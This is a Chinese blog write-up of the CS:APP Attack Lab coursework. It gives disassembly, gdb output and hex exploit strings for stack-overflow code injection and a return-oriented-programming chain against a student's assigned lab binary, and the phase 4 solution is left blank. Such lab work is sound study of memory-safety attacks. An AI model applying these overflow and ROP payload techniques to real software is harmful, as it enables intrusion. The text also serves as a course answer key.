CSAPP-Lab3_attacklab

目录

phase1

phrase2

phase3

phase4

phase5


最近学校布置了attacklab的相关实验作业,每个人定制一个target,可以利用objdump,gdb等作为辅助工具进行实验。

phase1

000000000040176b <getbuf>:
  40176b:    48 83 ec 38              sub    $0x38,%rsp
  40176f:    48 89 e7                 mov    %rsp,%rdi
  401772:    e8 7e 02 00 00           callq  4019f5 <Gets>
  401777:    b8 01 00 00 00           mov    $0x1,%eax
  40177c:    48 83 c4 38              add    $0x38,%rsp
  401780:    c3                       retq  
000000000040192c <test>:
  40192c:    48 83 ec 08              sub    $0x8,%rsp
  401930:    b8 00 00 00 00           mov    $0x0,%eax
  401935:    e8 31 fe ff ff           callq  40176b <getbuf>
  40193a:    89 c2                    mov    %eax,%edx
  40193c:    be e8 2f 40 00           mov    $0x402fe8,%esi
  401941:    bf 01 00 00 00           mov    $0x1,%edi
  401946:    b8 00 00 00 00           mov    $0x0,%eax
  40194b:    e8 d0 f3 ff ff           callq  400d20 <__printf_chk@plt>
  401950:    48 83 c4 08              add    $0x8,%rsp
  401954:    c3                       retq   
0000000000401781 <touch1>

思路:

这里 getbuf开辟了56个字节的栈空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址touch1即可。

故答案:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00// 以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
81 17 40 00 00 00 00 00//touch1地址


phrase2

思路:

Level2要求进入Touch2函数,且输入的字符串要与Cookie文件中的字符串相匹配,根据文件中的信息,得知首先需要把字符串送到寄存器%rdi中,再进入touch2函数,即可通过Level2。 所以,指令应该包括以下两个部分:

  1. 把字符串cookie mov进%rdi中

  2. 进入touch2

编写以下汇编代码:

起始地址为40176b,所以需要在0x40176f处设置断点(即还没运行0x40176f),查看栈顶指针寄存器%rsp的值。

输入命令:gdb ctarget 调试, b *0x40176f设置断点,r运行,info r rsp查看%rsp的值

如下:

00000000004017ad <touch2>:
  4017ad:    48 83 ec 08              sub    $0x8,%rsp
  4017b1:    89 fa                    mov    %edi,%edx
  4017b3:    c7 05 3f 2d 20 00 02     movl   $0x2,0x202d3f(%rip)        # 6044fc <vlevel>
  4017ba:    00 00 00 
  4017bd:    39 3d 41 2d 20 00        cmp    %edi,0x202d41(%rip)        # 604504 <cookie>
  4017c3:    75 20                    jne    4017e5 <touch2+0x38>
  4017c5:    be 48 2f 40 00           mov    $0x402f48,%esi
  4017ca:    bf 01 00 00 00           mov    $0x1,%edi
  4017cf:    b8 00 00 00 00           mov    $0x0,%eax
  4017d4:    e8 47 f5 ff ff           callq  400d20 <__printf_chk@plt>
  4017d9:    bf 02 00 00 00           mov    $0x2,%edi
  4017de:    e8 57 04 00 00           callq  401c3a <validate>
  4017e3:    eb 1e                    jmp    401803 <touch2+0x56>
  4017e5:    be 70 2f 40 00           mov    $0x402f70,%esi
  4017ea:    bf 01 00 00 00           mov    $0x1,%edi
  4017ef:    b8 00 00 00 00           mov    $0x0,%eax
  4017f4:    e8 27 f5 ff ff           callq  400d20 <__printf_chk@plt>
  4017f9:    bf 02 00 00 00           mov    $0x2,%edi
  4017fe:    e8 f9 04 00 00           callq  401cfc <fail>
  401803:    bf 00 00 00 00           mov    $0x0,%edi
  401808:    e8 53 f5 ff ff           callq  400d60 <exit@plt>
  
 
 (gdb) b *0x40176f
Breakpoint 1 at 0x40176f: file buf.c, line 14.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/shxwei/target11/ctarget -q
Cookie: 0x648e8cd0

Breakpoint 1, getbuf () at buf.c:14
14    in buf.c

(gdb) info r rsp
rsp            0x55619178    0x55619178

故答案:

48 c7 c7 d0 8c 8e 64 68
ad 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 91 61 55 00 00 00 00 
//用缓冲区的起始地址覆盖掉原先的返回地址(%rsp)。


phase3

思路:

任务是让 CTARGET 执行 touch3 的代码,而不是返回测试。 您必须让它在 touch3 看来就像您传递了 cookie 的字符串表示作为其参数一样。所以操作指令应包括:

1.让%rdi指向字符串cookie的起始地址。

2.跳转到touch3函数。

相关代码及gdb调试如下:

000000000040192c <test>:
  40192c:    48 83 ec 08              sub    $0x8,%rsp
  401930:    b8 00 00 00 00           mov    $0x0,%eax
  401935:    e8 31 fe ff ff           callq  40176b <getbuf>
  40193a:    89 c2                    mov    %eax,%edx
  40193c:    be e8 2f 40 00           mov    $0x402fe8,%esi
  401941:    bf 01 00 00 00           mov    $0x1,%edi
  401946:    b8 00 00 00 00           mov    $0x0,%eax
  40194b:    e8 d0 f3 ff ff           callq  400d20 <__printf_chk@plt>
  401950:    48 83 c4 08              add    $0x8,%rsp
  401954:    c3                       retq  
  
 (gdb) b *0x401930
Breakpoint 1 at 0x401930: file visible.c, line 92.
(gdb) r -q
Starting program: /home/shxwei/target11/ctarget -q
Cookie: 0x648e8cd0

Breakpoint 1, test () at visible.c:92
92    visible.c: No such file or directory.
(gdb) info r rsp
rsp            0x556191b8    0x556191b8

说明在test中会push数据进入堆栈,所以需要注意cookie字符串的存放位置,因为覆盖了保存 getbuf 使用的缓冲区的内存部分,所以可以不考虑把cookie字符串放到56个字符的堆栈里面,那56个字符用来存放命令后填满即可。所以cookie字符串可以考虑放到get的栈帧中,即越过56个字符的上方,因为不再返回了,所以那部分就不会被触碰到。

将cookie字符串存放在栈顶+8字节的位置(即cookie字符串的起始地址),再把这个 cookie字符串的起始地址存放进%rdi中。在Level 2中已经得到栈顶指针%rsp的初始值为0x556191b8,所以cookie字符串的起始地址为0x556191b8;并查看touch3函数的地址为4018be。

故答案:

48 c7 c7 b8 91 61 55 68 
be 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)从而溢出
78 91 61 55 00 00 00 00 
//用缓冲区的起始地址覆盖原先的返回地址(上题的%rsp)
36 34 38 65 38 63 64 30  00
//cookie值0x648e8cd0的ACSII码(每个字符相等于一个char,例:字符6对应0x36)


phase4

思路:

在Level 2中提到解法为:

1.定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。

2.第一个参数是在寄存器%rdi中传递的。

3.注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

所以首先需要popq %rdi,把cookie存放到%rdi中,然后再利用retq返回到touch2。通过搜索mov指令,还有对于popq对应的机器码,其中 0xc3 = retq,0x90 = nop, 找到了两个对这个实验有用的指令且有效的指令(不唯一)。

完成目标需要的操作指令为:


phase5

思路:

这一阶段要求对 RTARGET 进行 ROP 攻击,以使用指向 cookie 字符串表示的指针调用函数 touch3。 要解决阶段5,可以在rtarget中由函数start_farm和end_farm划分的代码区域中使用小工具,且至少8个。因为有了栈随机性,我们不能指定指针确切位置了,但是可以通过 相对位置 + 栈顶的位置,先获取到栈顶的位置,然后加上我们放置距离栈顶的相对位置,得到cookie字符串起始地址放置的位置。

推导顺序:

  1. 首先需要 获取栈顶的位置,查看Source = %rsp的mov指令机器码,查找与之相关联的寄存器。

  2. 发现movq %rsp,%rax可用,则先找movq %rax,%rdi,因为最终需要%rdi来存放 字符串的指针开始地址

  3. 因为lea命令可以起到add和mov的作用,lea (%rdi,%rsi,1),%rax 中%rsi可以作相对位置偏移的量,这个偏移量由最终栈顶离字符串的相对偏移位置来确定,%rdi里面存%rsp刚开始的栈顶位置,由上一步movq %rsp,%rax,movq %rax,%rdi得到,最后的偏移位置在%rax中,最后只需要movq %rax,%rdi即可达到目的

  4. 现在需要把偏移量放到%rsi中,因为没有pop %rsi,所以只能找与mov %rsi相关的指令

  5. 在farm部分只找到movl %ecx,$esi,需要把%eax与%ecx联系起来,因为只有%rax可以pop(可以指定值),所以逆向寻找movl %ecx,得到逆向顺序:%eax -> %edx -> %ecx -> %esi。

    整理代码如下:

由于可能存在无效指令,需要较多分析farm汇编代码。

故答案:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  //56个字节溢出
1a 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
6a 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
8d 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant偏移值*/
6f 1a 40 00 00 00 00 00 /* mov %eax,%edx */
a6 19 40 00 00 00 00 00 /* mov %edx,%ecx */
1f 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
96 19 40 00 00 00 00 00 /* add_xy */
6a 19 40 00 00 00 00 00 /* mov %rax,%rdi */
be 18 40 00 00 00 00 00 /* touch3 */
36 34 38 65 38 63 64 30  /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00 00 00 00 00 00 00 00
 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值